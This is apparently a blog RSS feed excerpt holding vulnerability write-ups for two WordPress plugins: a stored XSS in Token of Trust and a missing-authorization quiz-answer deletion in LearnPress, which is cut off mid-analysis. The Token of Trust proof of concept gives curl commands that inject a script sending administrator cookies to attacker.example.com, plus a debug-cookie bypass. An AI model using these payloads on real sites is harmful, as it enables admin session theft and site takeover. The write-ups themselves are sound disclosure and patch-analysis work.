    &apos;type&apos;      =&amp;gt; $type,
);

if ( ! empty( $head ) ) {
    $new_log[&apos;head&apos;]   = $head;    // ← raw attacker-controlled value stored
    $this-&amp;gt;new_heads[] = $head;
}

$this-&amp;gt;new_logs[] = $new_log;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Debugger&lt;/code&gt; writes the raw &lt;code&gt;$head&lt;/code&gt; value — which comes directly from &lt;code&gt;$_POST[&apos;description&apos;]&lt;/code&gt; — into the &lt;code&gt;tot_logs&lt;/code&gt; WordPress option via &lt;code&gt;update_option()&lt;/code&gt;, with no sanitization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5 — Unescaped output to admin page (&lt;code&gt;admin/settings-page/view-logs.php&lt;/code&gt;, line 13):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$logs = get_option( &apos;tot_logs&apos;, array() );
foreach ( $logs as $item ) {
    $notice = &apos;&apos;;
    if ( isset( $item[&apos;head&apos;] ) ) {
        $notice .= &apos;&amp;lt;h3&amp;gt;&apos; . $item[&apos;head&apos;] . &apos;&amp;lt;/h3&amp;gt;&apos;;  // ← no esc_html()
    }
    ...
    printf(
        &apos;&amp;lt;div class=&quot;notice notice-%2$s&quot;&amp;gt;%3$s %1$s&amp;lt;/div&amp;gt;&apos;,
        ...,
        $item[&apos;type&apos;],
        $notice   // ← rendered raw into the page
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;view-logs.php&lt;/code&gt; prints the &lt;code&gt;head&lt;/code&gt; field directly inside an &lt;code&gt;&amp;lt;h3&amp;gt;&lt;/code&gt; tag without calling &lt;code&gt;esc_html()&lt;/code&gt;. Any HTML or JavaScript stored in that field executes when an administrator visits &lt;strong&gt;WP Admin → Token of Trust → Debug Logs&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Two independent failures combine to create the vulnerability:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No authentication or nonce check on the AJAX endpoint.&lt;/strong&gt; Any unauthenticated HTTP client can call &lt;code&gt;wp-admin/admin-ajax.php?action=tot_error_log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No output escaping in the log display template.&lt;/strong&gt; &lt;code&gt;$item[&apos;head&apos;]&lt;/code&gt; is rendered as raw HTML with &lt;code&gt;&apos;&amp;lt;h3&amp;gt;&apos; . $item[&apos;head&apos;] . &apos;&amp;lt;/h3&amp;gt;&apos;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Either fix alone would have prevented exploitation. The input arrives unsanitized, travels through the database, and is rendered unsanitized. This is a classic second-order (stored) XSS.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Debug mode guard:&lt;/strong&gt; The guard at &lt;code&gt;Debugger::log()&lt;/code&gt; line 79 was intended to prevent storing log entries outside of a debugging session. It does not work. The second condition reads &lt;code&gt;$_COOKIE[&apos;debug_mode&apos;]&lt;/code&gt; directly — a value the attacker supplies in their own HTTP request. The guard therefore protects nothing against any attacker who tries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Body escaping:&lt;/strong&gt; &lt;code&gt;view-logs.php&lt;/code&gt; line 21 does apply &lt;code&gt;esc_html()&lt;/code&gt; to &lt;code&gt;$item[&apos;body&apos;]&lt;/code&gt;, but &lt;strong&gt;not&lt;/strong&gt; to &lt;code&gt;$item[&apos;head&apos;]&lt;/code&gt;. The &lt;code&gt;head&lt;/code&gt; is the value that originates from &lt;code&gt;$_POST[&apos;description&apos;]&lt;/code&gt;. The asymmetric escaping left the injection point unprotected.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can inject arbitrary JavaScript that executes in the browser of any administrator who visits the Debug Logs settings page. Typical impacts include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Admin account takeover&lt;/strong&gt; — stealing session cookies or application passwords&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backdoor creation&lt;/strong&gt; — using the admin session to install a malicious plugin or create a rogue administrator account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site defacement or malware injection&lt;/strong&gt; — modifying site content via the WordPress REST API while impersonating the admin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential harvesting&lt;/strong&gt; — rendering a fake login overlay to capture the admin&apos;s WordPress password&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Do not use against any system without explicit written authorization.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;token-of-trust&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.32.3&lt;/li&gt;
&lt;li&gt;The attacker needs no credentials and no prior access&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Inject the XSS payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request to the WordPress AJAX endpoint. The &lt;code&gt;Cookie: debug_mode=1&lt;/code&gt; header bypasses the debug-mode guard in &lt;code&gt;Debugger::log()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST \
  &apos;https://TARGET.example.com/wp-admin/admin-ajax.php&apos; \
  -H &apos;Cookie: debug_mode=1&apos; \
  -d &apos;action=tot_error_log&apos; \
  -d &apos;description=&amp;lt;script&amp;gt;fetch(&quot;https://attacker.example.com/steal?c=&quot;+document.cookie)&amp;lt;/script&amp;gt;&apos; \
  -d &apos;severity=error&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected response (success):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;success&quot;:true,&quot;data&quot;:[]}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A success response confirms the payload was accepted and stored in the &lt;code&gt;tot_logs&lt;/code&gt; WordPress option.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Verify storage in the database (optional)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Using WP-CLI on the target server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp option get tot_logs --format=json | python3 -m json.tool | head -20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The injected &lt;code&gt;description&lt;/code&gt; value should appear in the &lt;code&gt;head&lt;/code&gt; field of the first log entry.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger XSS — wait for admin to visit Debug Logs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The payload fires when any administrator navigates to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WP Admin → Token of Trust → Settings → (Debug Logs tab)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The page renders:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;&amp;lt;script&amp;gt;fetch(&quot;https://attacker.example.com/steal?c=&quot;+document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/h3&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script executes in the administrator&apos;s browser with full access to the &lt;code&gt;wp-admin&lt;/code&gt; session cookie.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker&apos;s JavaScript executes in the administrator&apos;s browser session. In the example above, the admin&apos;s cookies are sent to the attacker&apos;s server. With that session cookie, the attacker can perform any action the administrator can — including installing plugins or creating new administrator accounts.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Check the listener for an incoming request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /steal?c=wordpress_logged_in_XXXX=admin%7C1234567890%7C... HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, substitute a &lt;code&gt;confirm()&lt;/code&gt; or &lt;code&gt;alert()&lt;/code&gt; payload for in-browser visual confirmation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST \
  &apos;https://TARGET.example.com/wp-admin/admin-ajax.php&apos; \
  -H &apos;Cookie: debug_mode=1&apos; \
  -d &apos;action=tot_error_log&apos; \
  -d &apos;description=&amp;lt;img src=x onerror=alert(document.domain)&amp;gt;&apos; \
  -d &apos;severity=error&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Three files were modified in version 3.32.4:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;admin/error-log.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added nonce verification; sanitized all inputs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;admin/settings-page/view-logs.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;esc_html()&lt;/code&gt; on &lt;code&gt;head&lt;/code&gt; and &lt;code&gt;timestamp&lt;/code&gt;; used &lt;code&gt;wp_kses_post()&lt;/code&gt; for output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Modules/Verification/Shared/Debugger.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Applied &lt;code&gt;wp_strip_all_tags()&lt;/code&gt; to &lt;code&gt;body&lt;/code&gt;; replaced &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt; HTML tags with &lt;code&gt;**&lt;/code&gt; markdown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Modules/Shared/Assets/tot-error-log.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;_ajax_nonce&lt;/code&gt; field to AJAX requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;admin/enqueue-js.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generates and localizes &lt;code&gt;errorLogNonce&lt;/code&gt; for admin context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site/enqueue-css.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generates and localizes &lt;code&gt;errorLogNonce&lt;/code&gt; for front-end context&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primary fix — nonce verification (&lt;code&gt;admin/error-log.php&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// PATCHED
if ( ! wp_verify_nonce( $_POST[&apos;_ajax_nonce&apos;] ?? &apos;&apos;, &apos;tot-error-log&apos; ) ) {
    wp_send_json_error( &apos;Invalid security token.&apos; );
    wp_die();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A WordPress nonce tied to the action &lt;code&gt;tot-error-log&lt;/code&gt; is now required. Nonces are user-session-bound; an unauthenticated attacker cannot forge a valid nonce for a logged-in user&apos;s session. This blocks the attack entirely before any payload reaches the logger.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Secondary fix — input sanitization (&lt;code&gt;admin/error-log.php&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$description = sanitize_textarea_field( trim( $_POST[&apos;description&apos;] ?? &apos;&apos; ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_textarea_field()&lt;/code&gt; strips all HTML tags and encodes special characters, eliminating the XSS payload at ingestion time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tertiary fix — output escaping (&lt;code&gt;admin/settings-page/view-logs.php&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$notice .= &apos;&amp;lt;h3&amp;gt;&apos; . esc_html( $item[&apos;head&apos;] ) . &apos;&amp;lt;/h3&amp;gt;&apos;;
$notice .= &apos;&amp;lt;p&amp;gt;Timestamp: &apos; . esc_html( $item[&apos;timestamp&apos;] ) . &apos;&amp;lt;/p&amp;gt;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;esc_html()&lt;/code&gt; converts any HTML-special characters in stored values to HTML entities before the browser renders them. This is a defense-in-depth fix: even if a payload somehow bypassed nonce and sanitization, it could not execute.&lt;/p&gt;
&lt;p&gt;The fix is complete. All three layers (authentication, sanitization, escaping) are now in place.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/admin/error-log.php
+++ b/admin/error-log.php
@@ -5,15 +5,14 @@
 tot_add_action( &apos;wp_ajax_nopriv_tot_error_log&apos;, &apos;tot_handle_error_log&apos; );
 
 function tot_handle_error_log() {
-	$max_post_size = 64000; // 64KB
+	$max_post_size = 64000;
 
-	if ( ! isset( $_POST[&apos;description&apos;] ) || empty( $_POST[&apos;description&apos;] ) ) {
-		wp_send_json_success( array( &apos;message&apos; =&amp;gt; &apos;Empty error description, not logged.&apos; ) );
+	if ( ! wp_verify_nonce( $_POST[&apos;_ajax_nonce&apos;] ?? &apos;&apos;, &apos;tot-error-log&apos; ) ) {
+		wp_send_json_error( &apos;Invalid security token.&apos; );
 		wp_die();
 	}
 
-	$description = trim( $_POST[&apos;description&apos;] );
+	$description = sanitize_textarea_field( trim( $_POST[&apos;description&apos;] ?? &apos;&apos; ) );

--- a/admin/settings-page/view-logs.php
+++ b/admin/settings-page/view-logs.php
@@ -12,7 +12,7 @@
 			$notice = &apos;&apos;;
 			if ( isset( $item[&apos;head&apos;] ) ) {
-				$notice .= &apos;&amp;lt;h3&amp;gt;&apos; . $item[&apos;head&apos;] . &apos;&amp;lt;/h3&amp;gt;&apos;;
+				$notice .= &apos;&amp;lt;h3&amp;gt;&apos; . esc_html( $item[&apos;head&apos;] ) . &apos;&amp;lt;/h3&amp;gt;&apos;;
 			}
 			if ( isset( $item[&apos;timestamp&apos;] ) ) {
-				$notice .= &apos;&amp;lt;p&amp;gt;Timestamp: &apos; . $item[&apos;timestamp&apos;] . &apos;&amp;lt;/p&amp;gt;&apos;;
+				$notice .= &apos;&amp;lt;p&amp;gt;Timestamp: &apos; . esc_html( $item[&apos;timestamp&apos;] ) . &apos;&amp;lt;/p&amp;gt;&apos;;
 			}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 14, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Teerachai Somprasong via Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 14, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.32.4 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;token-of-trust&lt;/code&gt; plugin to version &lt;strong&gt;3.32.4&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, temporarily deactivate the plugin. Alternatively, block unauthenticated POST requests to &lt;code&gt;wp-admin/admin-ajax.php?action=tot_error_log&lt;/code&gt; at your WAF or server level.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2834&quot;&gt;CVE-2026-2834 — NVD/CVE Record&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/token-of-trust/age-verification-identity-verification-by-token-of-trust-3323-unauthenticated-stored-cross-site-scripting-via-description-parameter&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/token-of-trust/&quot;&gt;Plugin on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-18T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4365: Arbitrary Quiz Answer Deletion in LearnPress (CVSS 9.1)</title><link>https://hurayraiit.com/blog/cve-2026-4365-arbitrary-quiz-answer-deletion-in-learnpress/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4365-arbitrary-quiz-answer-deletion-in-learnpress/</guid><description>CVE-2026-4365 (CVSS 9.1 Critical): LearnPress LMS plugin allows unauthenticated attackers to permanently delete any quiz answer via a publicly exposed nonce.</description><pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4365&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.1 Critical&lt;/strong&gt; Missing Authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/learnpress/&quot;&gt;LearnPress – WordPress LMS Plugin&lt;/a&gt; for WordPress. Any unauthenticated attacker can permanently delete quiz answer options across an entire site. They do this by using a security nonce that the plugin places in the public page HTML — visible to every visitor, including bots.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LearnPress – WordPress LMS Plugin for Create and Sell Online Courses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;learnpress&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4365&quot;&gt;CVE-2026-4365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.1 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/learnpress.4.3.2.8.zip&quot;&gt;&amp;lt;= 4.3.2.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/learnpress.4.3.3.zip&quot;&gt;4.3.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/supakiad-satuwan/&quot;&gt;Supakiad S. (m3ez) — E-CQURITY (Thailand)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-4328-missing-authorization-to-unauthenticated-arbitrary-quiz-answer-deletion&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The LearnPress plugin is vulnerable to unauthorized data deletion. The root cause is a missing capability check on the &lt;code&gt;delete_question_answer()&lt;/code&gt; function in all versions up to and including 4.3.2.8.&lt;/p&gt;
&lt;p&gt;The plugin exposes a &lt;code&gt;wp_rest&lt;/code&gt; nonce in public frontend HTML (&lt;code&gt;lpData&lt;/code&gt;) to unauthenticated visitors. This nonce is the only security gate for the &lt;code&gt;lp-load-ajax&lt;/code&gt; AJAX dispatcher. The &lt;code&gt;delete_question_answer&lt;/code&gt; action has no capability or ownership check. An unauthenticated attacker can therefore delete any quiz answer option by sending a crafted POST request with the publicly available nonce.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The attack chain spans three files. Here is how each piece contributes.&lt;/p&gt;
&lt;h4&gt;1. Nonce Exposed Publicly — &lt;code&gt;inc/class-lp-assets.php&lt;/code&gt; line 177&lt;/h4&gt;
&lt;p&gt;The plugin hooks &lt;code&gt;load_scripts_on_head()&lt;/code&gt; to &lt;code&gt;wp_head&lt;/code&gt; with priority &lt;code&gt;-1&lt;/code&gt;, which means it fires on &lt;strong&gt;every frontend page&lt;/strong&gt; before other scripts load:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// inc/class-lp-assets.php, line 23
add_action( &apos;wp_head&apos;, [ $this, &apos;load_scripts_styles_on_head&apos; ], -1 );

// inc/class-lp-assets.php, lines 455–457
public function load_scripts_on_head() {
    LP_Helper::print_inline_script_tag( &apos;lpData&apos;, $this-&amp;gt;localize_data_global(), [ &apos;id&apos; =&amp;gt; &apos;lpData&apos; ] );
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside &lt;code&gt;localize_data_global()&lt;/code&gt;, a fresh &lt;code&gt;wp_rest&lt;/code&gt; nonce is generated and embedded in the page HTML as part of the &lt;code&gt;lpData&lt;/code&gt; global JavaScript object:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// inc/class-lp-assets.php, line 177
&apos;nonce&apos; =&amp;gt; wp_create_nonce( &apos;wp_rest&apos; ),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means &lt;strong&gt;any unauthenticated visitor&lt;/strong&gt; loading any LearnPress-enabled page receives a valid &lt;code&gt;wp_rest&lt;/code&gt; nonce in the page source, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script id=&quot;lpData&quot;&amp;gt;
var lpData = {&quot;nonce&quot;:&quot;abc123def456&quot;, &quot;ajaxUrl&quot;:&quot;...&quot;, &quot;lpAjaxUrl&quot;:&quot;http://example.com/lp-ajax-handle&quot;, ...}
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. AJAX Dispatcher Accepts Any Nonce — &lt;code&gt;inc/Ajax/AbstractAjax.php&lt;/code&gt; lines 18–43&lt;/h4&gt;
&lt;p&gt;All LearnPress AJAX handlers extend &lt;code&gt;AbstractAjax&lt;/code&gt;. Its &lt;code&gt;catch_lp_ajax()&lt;/code&gt; method registers itself to the WordPress &lt;code&gt;init&lt;/code&gt; hook (priority 11) and checks &lt;strong&gt;only the nonce&lt;/strong&gt; before dispatching to any action:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// inc/Ajax/AbstractAjax.php, lines 18–43
public static function catch_lp_ajax() {
    if ( ! empty( $_REQUEST[&apos;lp-load-ajax&apos;] ) ) {
        $action = $_REQUEST[&apos;lp-load-ajax&apos;];
        $nonce  = $_REQUEST[&apos;nonce&apos;] ?? &apos;&apos;;
        $class  = new static();

        if ( ! method_exists( $class, $action ) ) {
            return;
        }

        // Only LoadContentViaAjax skips nonce check (for cached HTML)
        $class_no_nonce = [ LoadContentViaAjax::class ];

        if ( ! wp_verify_nonce( $nonce, &apos;wp_rest&apos; ) ) {
            if ( ! in_array( get_class( $class ), $class_no_nonce ) ) {
                wp_die( &apos;Invalid request!&apos;, 400 );
            }
        }

        if ( is_callable( [ $class, $action ] ) ) {
            call_user_func( [ $class, $action ] );  // &amp;lt;-- dispatches with no auth check
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is &lt;strong&gt;no authentication check&lt;/strong&gt; (&lt;code&gt;is_user_logged_in()&lt;/code&gt;), &lt;strong&gt;no capability check&lt;/strong&gt; (&lt;code&gt;current_user_can()&lt;/code&gt;), and &lt;strong&gt;no ownership check&lt;/strong&gt; before the action is dispatched. The nonce only proves the request came from a page where LearnPress loaded. It says nothing about whether the caller is the course owner or has any edit permissions.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;EditQuestionAjax&lt;/code&gt; class is registered at &lt;code&gt;learnpress.php&lt;/code&gt; line 704:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// learnpress.php, lines 697–712
add_action( &apos;init&apos;, function () {
    ...
    EditQuestionAjax::catch_lp_ajax();   // line 704
    ...
}, 11 );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Requests are routed through &lt;code&gt;home_url(&apos;lp-ajax-handle&apos;)&lt;/code&gt;, registered as a WordPress rewrite rule (&lt;code&gt;^lp-ajax-handle/?$&lt;/code&gt; → &lt;code&gt;index.php&lt;/code&gt;), making it available at &lt;code&gt;https://example.com/lp-ajax-handle&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;3. No Capability Check on Deletion — &lt;code&gt;inc/Ajax/EditQuestionAjax.php&lt;/code&gt; lines 285–311&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;delete_question_answer()&lt;/code&gt; handler is the final destination:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// inc/Ajax/EditQuestionAjax.php, lines 285–310
public static function delete_question_answer() {
    $response = new LP_REST_Response();

    try {
        $data               = self::check_valid();
        $question_answer_id = $data[&apos;question_answer_id&apos;] ?? &apos;&apos;;
        if ( empty( $question_answer_id ) ) {
            throw new Exception( __( &apos;Invalid request!&apos;, &apos;learnpress&apos; ) );
        }

        $questionAnswerModel = QuestionAnswerModel::find( $question_answer_id, true );
        if ( ! $questionAnswerModel ) {
            throw new Exception( __( &apos;Question answer not found&apos;, &apos;learnpress&apos; ) );
        }

        // Delete question answer — NO CAPABILITY CHECK HERE
        $questionAnswerModel-&amp;gt;delete();

        $response-&amp;gt;status  = &apos;success&apos;;
        $response-&amp;gt;message = __( &apos;Question answer deleted successfully&apos;, &apos;learnpress&apos; );
    } catch ( Throwable $e ) {
        $response-&amp;gt;message = $e-&amp;gt;getMessage();
    }

    wp_send_json( $response );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The supporting &lt;code&gt;check_valid()&lt;/code&gt; method (lines 37–53) only validates that the supplied &lt;code&gt;question_id&lt;/code&gt; exists in the database; it neither checks who owns it nor whether the caller is logged in.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;QuestionAnswerModel::check_valid_before_delete()&lt;/code&gt; method (called from &lt;code&gt;delete()&lt;/code&gt;) enforces only one constraint: single/multi choice questions must retain at least two answers. There is no &lt;code&gt;check_capabilities_update()&lt;/code&gt; call and no ownership check against the current user.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;delete_question_answer()&lt;/code&gt; and the entire call chain down to &lt;code&gt;QuestionAnswerModel::delete()&lt;/code&gt; perform no capability check. The only guard is &lt;code&gt;wp_verify_nonce($nonce, &apos;wp_rest&apos;)&lt;/code&gt; in &lt;code&gt;AbstractAjax::catch_lp_ajax()&lt;/code&gt;. The plugin writes this &lt;code&gt;wp_rest&lt;/code&gt; nonce as-is into the public HTML of every LearnPress page. That means &lt;strong&gt;any visitor — including unauthenticated bots — can read it and use it&lt;/strong&gt; to trigger the deletion.&lt;/p&gt;
&lt;h3&gt;Failure of Existing Controls&lt;/h3&gt;
